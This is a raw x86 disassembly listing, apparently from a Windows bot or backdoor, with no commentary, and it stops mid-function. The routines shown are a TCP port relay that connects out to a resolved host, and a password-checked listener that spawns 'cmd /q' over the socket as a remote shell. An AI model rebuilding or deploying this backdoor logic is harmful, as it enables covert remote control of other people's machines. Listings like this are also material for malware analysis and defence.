var_28 = byte ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
Dst = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_150]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_44]
call dword_4CB654 ; htons
push 6
push 1
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
mov [ebp+var_4], edi
call dword_4CB6D4 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_410517
mov ecx, [ebp+var_40]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov dword_43E59C[ecx], eax
call dword_4CB564 ; WSAAsyncSelect
lea eax, [ebp+Dst]
push edi
push eax
push [ebp+arg_0]
call dword_4CB680 ; bind
test eax, eax
jnz loc_410517
push 0Ah
push [ebp+arg_0]
call dword_4CB67C ; listen
test eax, eax
jnz loc_410517
loc_41045B: ; CODE XREF: sub_4103AB+C6j
; sub_4103AB+147j
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_28]
push eax
push [ebp+arg_0]
call dword_4CB6E8 ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_41045B
movzx eax, [ebp+var_26]
push [ebp+var_40]
mov [ebp+var_14C], edi
mov [ebp+var_30], esi
push eax
push [ebp+var_24]
call dword_4CB6E0 ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset asc_4346F4 ; "-"
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Source]
push 18h ; int
push eax ; Source
call sub_40B0F7
mov [ebp+var_3C], eax
imul eax, 234h
mov ecx, [ebp+var_40]
add esp, 20h
mov dword_43E594[eax], ecx
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_150]
push esi
push eax
push offset sub_41053C
push esi
push esi
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_3C]
imul ecx, 234h
cmp eax, esi
mov dword_43E5A4[ecx], eax
jz short loc_410502
loc_4104EF: ; CODE XREF: sub_4103AB+155j
cmp [ebp+var_30], esi
jnz loc_41045B
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_4104EF
; ---------------------------------------------------------------------------
loc_410502: ; CODE XREF: sub_4103AB+142j
call ds:dword_42708C ; RtlGetLastWin32Error
push eax ; Args
push offset asc_4346B8 ; "-"
call sub_415221
pop ecx
pop ecx
jmp short loc_41051A
; ---------------------------------------------------------------------------
loc_410517: ; CODE XREF: sub_4103AB+63j
; sub_4103AB+97j ...
mov edi, [ebp+arg_0]
loc_41051A: ; CODE XREF: sub_4103AB+16Aj
push edi
call dword_4CB6EC ; closesocket
push [ebp+arg_0]
call dword_4CB6EC ; closesocket
push [ebp+var_40]
call sub_40B413
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
pop edi
pop esi
sub_4103AB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41053C proc near ; DATA XREF: sub_4103AB+124o
var_1344 = byte ptr -1344h
Source = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
Dst = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
push 1
pop ecx
mov [ebp+var_4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_4CB6D4 ; socket
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_4106F2
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_3C]
call dword_4CB654 ; htons
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call dword_4CB694 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_4105CC
lea eax, [ebp+var_13C]
push eax
call dword_4CB6D8 ; gethostbyname
jmp short loc_4105DA
; ---------------------------------------------------------------------------
loc_4105CC: ; CODE XREF: sub_41053C+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4CB60C ; gethostbyaddr
loc_4105DA: ; CODE XREF: sub_41053C+8Ej
cmp eax, edi
jz loc_4106F2
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+Dst]
push eax
push esi
call dword_4CB5FC ; connect
cmp eax, 0FFFFFFFFh
jz loc_4106F2
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call dword_4CB6E0 ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset asc_43477C ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Source]
push 18h ; int
push eax ; Source
call sub_40B0F7
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_43E59C[ebx]
mov dword_43E594[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_43E5A0[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push offset sub_410723
push edi
push edi
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov dword_43E5A4[ecx], eax
jz short loc_4106DF
loc_41068C: ; CODE XREF: sub_41053C+15Dj
cmp [ebp+var_20], edi
jnz short loc_41069B
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_41068C
; ---------------------------------------------------------------------------
loc_41069B: ; CODE XREF: sub_41053C+153j
mov ebx, 1000h
loc_4106A0: ; CODE XREF: sub_41053C+19Fj
push ebx ; Size
lea eax, [ebp+var_1344]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_4CB66C ; recv
cmp eax, edi
jle short loc_4106F2
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call dword_4CB6A4 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_4106A0
jmp short loc_4106F2
; ---------------------------------------------------------------------------
loc_4106DF: ; CODE XREF: sub_41053C+14Ej
call ds:dword_42708C ; RtlGetLastWin32Error
push eax ; Args
push offset asc_43473C ; "-"
call sub_415221
pop ecx
pop ecx
loc_4106F2: ; CODE XREF: sub_41053C+44j
; sub_41053C+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push dword_43E59C[eax]
call dword_4CB6EC ; closesocket
push [ebp+arg_0]
call dword_4CB6EC ; closesocket
push [ebp+var_4]
call sub_40B413
pop ecx
push edi
call ds:dword_4270CC ; ExitThread
pop edi
pop esi
pop ebx
sub_41053C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410723 proc near ; DATA XREF: sub_41053C+130o
Dst = byte ptr -1128h
var_128 = byte ptr -128h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1128h
call __alloca_probe
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_128]
rep movsd
mov esi, [ebp+var_14]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_41075A: ; CODE XREF: sub_410723+7Cj
push edi ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push 0
push edi
push eax
push dword_43E5A0[esi]
call dword_4CB66C ; recv
test eax, eax
jle short loc_4107A1
push 0
push eax
lea eax, [ebp+Dst]
push eax
push dword_43E59C[esi]
call dword_4CB6A4 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_41075A
loc_4107A1: ; CODE XREF: sub_410723+61j
push dword_43E5A0[esi]
call dword_4CB6EC ; closesocket
push [ebp+var_14]
call sub_40B413
pop ecx
push 0
call ds:dword_4270CC ; ExitThread
pop edi
pop esi
sub_410723 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4107C0 proc near ; DATA XREF: sub_410A4E+1BEo
var_3D4 = byte ptr -3D4h
Str1 = byte ptr -350h
var_208 = dword ptr -208h
var_1F4 = dword ptr -1F4h
var_1F0 = dword ptr -1F0h
var_F0 = byte ptr -0F0h
Dest = byte ptr -0B0h
var_4C = byte ptr -4Ch
var_3C = byte ptr -3Ch
Args = byte ptr -2Ch
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp+var_3D4]
push 1
mov [ebp+var_C], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp+var_208]
mov [ebp+arg_0], eax
imul eax, 234h
lea esi, dword_43E59C[eax]
xor edi, edi
mov [ebp+var_8], edi
mov [ebp+var_1F4], ebx
mov eax, [esi]
mov [ebp+var_1F0], eax
lea eax, [ebp+var_C]
push eax
push edi
lea eax, [ebp+var_1F4]
push edi
push eax
push edi
call dword_4CB63C ; select
test eax, eax
jnz short loc_410844
push dword ptr [esi]
call dword_4CB6EC ; closesocket
push [ebp+arg_0]
call sub_40B413
pop ecx
push edi
call ds:dword_4270CC ; ExitThread
loc_410844: ; CODE XREF: sub_4107C0+6Aj
push edi
lea eax, [ebp+var_3C]
push ebx
push eax
push dword ptr [esi]
call dword_4CB66C ; recv
lea eax, [ebp+Args]
push 10h
push eax
push dword ptr [esi]
call sub_4109C5
lea eax, [ebp+var_4C]
push 10h
push eax
push dword ptr [esi]
call sub_4109C5
lea eax, [ebp+var_F0]
push 40h
push eax
push dword ptr [esi]
call sub_4109C5
add esp, 24h
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_1C]
push eax
push dword ptr [esi]
call dword_4CB5A8 ; getpeername
test eax, eax
jz short loc_4108BD
call dword_4CB5E8 ; WSAGetLastError
push eax ; Args
push offset asc_434854 ; "-"
call sub_415221
push [ebp+arg_0]
call sub_40B413
add esp, 0Ch
push edi
call ds:dword_4270CC ; ExitThread
loc_4108BD: ; CODE XREF: sub_4107C0+D8j
push 2
lea eax, [ebp+var_18]
push 4
push eax
call dword_4CB60C ; gethostbyaddr
cmp eax, edi
jnz short loc_4108E7
push [ebp+var_18]
call dword_4CB6E0 ; inet_ntoa
push eax ; Format
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
jmp short loc_4108F5
; ---------------------------------------------------------------------------
loc_4108E7: ; CODE XREF: sub_4107C0+10Dj
push dword ptr [eax] ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strcpy
loc_4108F5: ; CODE XREF: sub_4107C0+125j
pop ecx
pop ecx
push edi
push ebx
push offset byte_43D808
push dword ptr [esi]
call dword_4CB6A4 ; send
cmp dword_4CE3B8, edi
jnz short loc_410957
push [ebp+var_18]
lea eax, [ebp+Str1]
push eax ; Str1
lea eax, [ebp+Dest]
push eax ; int
lea eax, [ebp+Args]
push eax ; Args
call sub_410A1F
add esp, 10h
test eax, eax
jnz short loc_410957
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_4CB6A4 ; send
push dword ptr [esi]
call dword_4CB6EC ; closesocket
push [ebp+arg_0]
call sub_40B413
pop ecx
push edi
call ds:dword_4270CC ; ExitThread
loc_410957: ; CODE XREF: sub_4107C0+14Cj
; sub_4107C0+16Dj
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Args]
push eax ; Args
push offset asc_434818 ; "-"
call sub_415221
push [ebp+arg_0]
call sub_410CD6
add esp, 10h
test eax, eax
jnz short loc_41099E
call ds:dword_42708C ; RtlGetLastWin32Error
push eax ; Args
push offset asc_4347EC ; "-"
call sub_415221
push [ebp+arg_0]
call sub_40B413
add esp, 0Ch
push ebx
call ds:dword_4270CC ; ExitThread
loc_41099E: ; CODE XREF: sub_4107C0+1B9j
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Args]
push eax ; Args
push offset asc_4347C0 ; "-"
call sub_415221
push [ebp+arg_0]
call sub_40B413
add esp, 10h
push edi
call ds:dword_4270CC ; ExitThread
sub_4107C0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4109C5 proc near ; CODE XREF: sub_4107C0+9Ap
; sub_4107C0+A7p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CB66C ; recv
cmp eax, 1
jnz short loc_410A15
mov esi, [ebp+arg_4]
loc_4109E3: ; CODE XREF: sub_4109C5+41j
mov al, [ebp+var_1]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_410A0A
test al, al
jz short loc_410A19
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CB66C ; recv
cmp eax, 1
jz short loc_4109E3
jmp short loc_410A15
; ---------------------------------------------------------------------------
loc_410A0A: ; CODE XREF: sub_4109C5+27j
push offset asc_434880 ; "-"
call sub_415221
pop ecx
loc_410A15: ; CODE XREF: sub_4109C5+19j
; sub_4109C5+43j
xor eax, eax
jmp short loc_410A1C
; ---------------------------------------------------------------------------
loc_410A19: ; CODE XREF: sub_4109C5+2Bj
push 1
pop eax
loc_410A1C: ; CODE XREF: sub_4109C5+52j
pop esi
leave
retn
sub_4109C5 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_410A1F(char *Args,int,char *Str1)
sub_410A1F proc near ; CODE XREF: sub_4107C0+163p
Args = dword ptr 4
arg_4 = dword ptr 8
Str1 = dword ptr 0Ch
push [esp+Args] ; Str2
push [esp+4+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_410A4A
push [esp+arg_4]
push [esp+4+Args] ; Args
push offset asc_4348AC ; "-"
call sub_415221
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_410A4A: ; CODE XREF: sub_410A1F+11j
push 1
pop eax
retn
sub_410A1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410A4E proc near ; DATA XREF: sub_401ACD+23D5o
var_5DC = dword ptr -5DCh
var_5A4 = byte ptr -5A4h
Source = byte ptr -414h
var_214 = dword ptr -214h
Str = byte ptr -210h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_24 = byte ptr -24h
Dst = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5A4h
mov eax, [ebp+arg_0]
push esi
push edi
push 78h
pop ecx
mov esi, eax
lea edi, [ebp+var_214]
push 1
rep movsd
pop edi
mov [eax+1DCh], edi
lea eax, [ebp+var_5A4]
push eax
push 202h
call dword_4CB5C4 ; WSAStartup
xor esi, esi
cmp eax, esi
jz short loc_410AA7
push eax ; Args
push offset asc_434A1C ; "-"
call sub_415221
push [ebp+var_4C]
call sub_40B413
add esp, 0Ch
push edi
call ds:dword_4270CC ; ExitThread
loc_410AA7: ; CODE XREF: sub_410A4E+3Aj
push edi
push offset loc_410CCC
call ds:dword_427120 ; SetConsoleCtrlHandler
test eax, eax
jnz short loc_410AE0
call ds:dword_42708C ; RtlGetLastWin32Error
push eax ; Args
push offset asc_4349D8 ; "-"
call sub_415221
pop ecx
pop ecx
call dword_4CB5AC ; WSACleanup
push [ebp+var_4C]
call sub_40B413
pop ecx
push edi
call ds:dword_4270CC ; ExitThread
loc_410AE0: ; CODE XREF: sub_410A4E+67j
push ebx
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_50]
call dword_4CB654 ; htons
push 6
push edi
push 2
mov [ebp+var_1E], ax
mov [ebp+var_1C], esi
call dword_4CB6D4 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410C57
mov eax, [ebp+var_4C]
push 10h
imul eax, 234h
mov dword_43E59C[eax], ebx
lea eax, [ebp+Dst]
push eax
push ebx
call dword_4CB680 ; bind
test eax, eax
jnz loc_410C57
push 7FFFFFFFh
push ebx
call dword_4CB67C ; listen
test eax, eax
jnz loc_410C57
push offset unk_43499C
mov [ebp+var_10], 0Ch
mov [ebp+var_C], esi
mov [ebp+var_8], esi
call sub_4151AD
pop ecx
mov [ebp+arg_0], edi
loc_410B6F: ; CODE XREF: sub_410A4E+15Aj
; sub_410A4E+1E4j
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_34]
push eax
push ebx
call dword_4CB6E8 ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_410C5A
push [ebp+arg_0]
lea eax, [ebp+arg_0]
push eax
push 8
push 0FFFFh
push edi
call dword_4CB634 ; setsockopt
cmp eax, 0FFFFFFFFh
jz short loc_410B6F
movzx eax, [ebp+var_32]
push [ebp+var_4C]
mov [ebp+var_38], esi
push eax
push [ebp+var_30]
call dword_4CB6E0 ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset asc_434958 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push eax
call sub_4151AD
push edi ; int
lea eax, [ebp+Source]
push 9 ; int
push eax ; Source
call sub_40B0F7
mov [ebp+var_48], eax
imul eax, 234h
mov ecx, [ebp+var_4C]
add esp, 24h
mov dword_43E594[eax], ecx
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_214]
push esi
push eax
push offset sub_4107C0
lea eax, [ebp+var_10]
push esi
push eax
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_48]
imul ecx, 234h
cmp eax, esi
mov dword_43E5A4[ecx], eax
jz short loc_410C42
loc_410C2F: ; CODE XREF: sub_410A4E+1F2j
cmp [ebp+var_38], esi
jnz loc_410B6F
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_410C2F
; ---------------------------------------------------------------------------
loc_410C42: ; CODE XREF: sub_410A4E+1DFj
call ds:dword_42708C ; RtlGetLastWin32Error
push eax ; Args
push offset asc_43491C ; "-"
call sub_415221
pop ecx
pop ecx
jmp short loc_410C5A
; ---------------------------------------------------------------------------
loc_410C57: ; CODE XREF: sub_410A4E+C8j
; sub_410A4E+ECj ...
mov edi, [ebp+arg_0]
loc_410C5A: ; CODE XREF: sub_410A4E+13Cj
; sub_410A4E+207j
call dword_4CB5E8 ; WSAGetLastError
push eax
lea eax, [ebp+Source]
push offset asc_4348E4 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_3C], esi
jnz short loc_410C9A
push esi ; int
lea eax, [ebp+Source]
push [ebp+var_40] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_214] ; int
call sub_409A73
add esp, 14h
loc_410C9A: ; CODE XREF: sub_410A4E+22Aj
lea eax, [ebp+Source]
push eax
call sub_4151AD
pop ecx
push edi
call dword_4CB6EC ; closesocket
push ebx
call dword_4CB6EC ; closesocket
call dword_4CB5AC ; WSACleanup
push [ebp+var_4C]
call sub_40B413
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
pop ebx
loc_410CCC: ; DATA XREF: sub_410A4E+5Ao
xor eax, eax
cmp [esp+5E0h+var_5DC], eax
setz al
retn
sub_410A4E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410CD6 proc near ; CODE XREF: sub_4107C0+1AFp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_410E27
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_43E59C[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, ds:dword_42707C
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_410FF9
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_410D41
call ds:dword_42708C ; RtlGetLastWin32Error
push eax ; Args
push offset asc_434A7C ; "-"
call sub_415221
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short loc_410D7B
; ---------------------------------------------------------------------------
loc_410D41: ; CODE XREF: sub_410CD6+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_4110AB
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_410D82
call ds:dword_42708C ; RtlGetLastWin32Error
push eax ; Args
push offset asc_434A7C ; "-"
call sub_415221
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
call ds:dword_4270AC ; TerminateThread
loc_410D7B: ; CODE XREF: sub_410CD6+69j
xor eax, eax
jmp loc_410E22
; ---------------------------------------------------------------------------
loc_410D82: ; CODE XREF: sub_410CD6+82j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
call ds:dword_427124 ; WaitForMultipleObjects
sub eax, ebx
jz short loc_410DDC
dec eax
jz short loc_410DD6
dec eax
jz short loc_410DC2
call ds:dword_42708C ; RtlGetLastWin32Error
push eax ; Args
push offset asc_434A48 ; "-"
call sub_415221
pop ecx
pop ecx
jmp short loc_410DF1
; ---------------------------------------------------------------------------
loc_410DC2: ; CODE XREF: sub_410CD6+D5j
mov edi, ds:dword_4270AC
push ebx
push dword ptr [esi+14h]
call edi ; TerminateThread
push ebx
push dword ptr [esi+10h]
call edi ; TerminateThread
jmp short loc_410DF1
; ---------------------------------------------------------------------------
loc_410DD6: ; CODE XREF: sub_410CD6+D2j
push ebx
push dword ptr [esi+10h]
jmp short loc_410DE0
; ---------------------------------------------------------------------------
loc_410DDC: ; CODE XREF: sub_410CD6+CFj
push ebx
push dword ptr [esi+14h]
loc_410DE0: ; CODE XREF: sub_410CD6+104j
call ds:dword_4270AC ; TerminateThread
push 1
push dword ptr [esi+8]
call ds:dword_4270F0 ; TerminateProcess
loc_410DF1: ; CODE XREF: sub_410CD6+EAj
; sub_410CD6+FEj
push dword ptr [esi+10h]
mov edi, ds:dword_427068
call edi ; CloseHandle
push dword ptr [esi+14h]
call edi ; CloseHandle
push dword ptr [esi+8]
call edi ; CloseHandle
push dword ptr [esi]
call edi ; CloseHandle
push dword ptr [esi+4]
call edi ; CloseHandle
push dword ptr [esi+0Ch]
call dword_4CB6EC ; closesocket
push esi
call sub_41B0B1
pop ecx
push 1
pop eax
loc_410E22: ; CODE XREF: sub_410CD6+A7j
pop edi
pop esi
pop ebx
leave
retn
sub_410CD6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410E27 proc near ; CODE XREF: sub_410CD6+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h ; Size
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call _malloc
mov esi, eax
pop ecx
cmp esi, edi
jz loc_410F11
mov ebx, ds:dword_4270FC
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx ; CreatePipe
mov edi, ds:dword_427068
test eax, eax
jnz short loc_410E8A
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_434B2C
jmp short loc_410EAA
; ---------------------------------------------------------------------------
loc_410E8A: ; CODE XREF: sub_410E27+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx ; CreatePipe
test eax, eax
jnz short loc_410EB2
call ds:dword_42708C ; RtlGetLastWin32Error
push eax ; Args
push offset asc_434AEC ; "-"
loc_410EAA: ; CODE XREF: sub_410E27+61j
call sub_415221
pop ecx
jmp short loc_410EE0
; ---------------------------------------------------------------------------
loc_410EB2: ; CODE XREF: sub_410E27+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_410F20
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi ; CloseHandle
push [ebp+var_8]
call edi ; CloseHandle
cmp dword ptr [esi+8], 0
jnz short loc_410F15
push offset unk_434AC4
call sub_4151AD
loc_410EE0: ; CODE XREF: sub_410E27+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_410EEC
push [ebp+var_4]
call edi ; CloseHandle
loc_410EEC: ; CODE XREF: sub_410E27+BEj
cmp [ebp+var_8], 0
jz short loc_410EF7
push [ebp+var_8]
call edi ; CloseHandle
loc_410EF7: ; CODE XREF: sub_410E27+C9j
mov eax, [esi]
test eax, eax
jz short loc_410F00
push eax
call edi ; CloseHandle
loc_410F00: ; CODE XREF: sub_410E27+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_410F0A
push eax
call edi ; CloseHandle
loc_410F0A: ; CODE XREF: sub_410E27+DEj
push esi
call sub_41B0B1
pop ecx
loc_410F11: ; CODE XREF: sub_410E27+1Dj
xor eax, eax
jmp short loc_410F1B
; ---------------------------------------------------------------------------
loc_410F15: ; CODE XREF: sub_410E27+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_410F1B: ; CODE XREF: sub_410E27+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_410E27 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410F20 proc near ; CODE XREF: sub_410E27+94p
Dst = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
mov [ebp+var_4], esi
call _memset
push 10h ; Size
lea eax, [ebp+var_14]
push esi ; Val
push eax ; Dst
call _memset
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+Dst], edi
mov edi, ds:dword_4270F8
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi ; GetCurrentProcess
push eax
push ebx
call edi ; GetCurrentProcess
push eax
call ds:dword_4270F4 ; DuplicateHandle
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+Dst]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call ds:dword_42706C ; CreateProcessA
test eax, eax
jz short loc_410FDC
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_43E598[eax], ecx
call ds:dword_427068 ; CloseHandle
jmp short loc_410FF2
; ---------------------------------------------------------------------------
loc_410FDC: ; CODE XREF: sub_410F20+9Aj
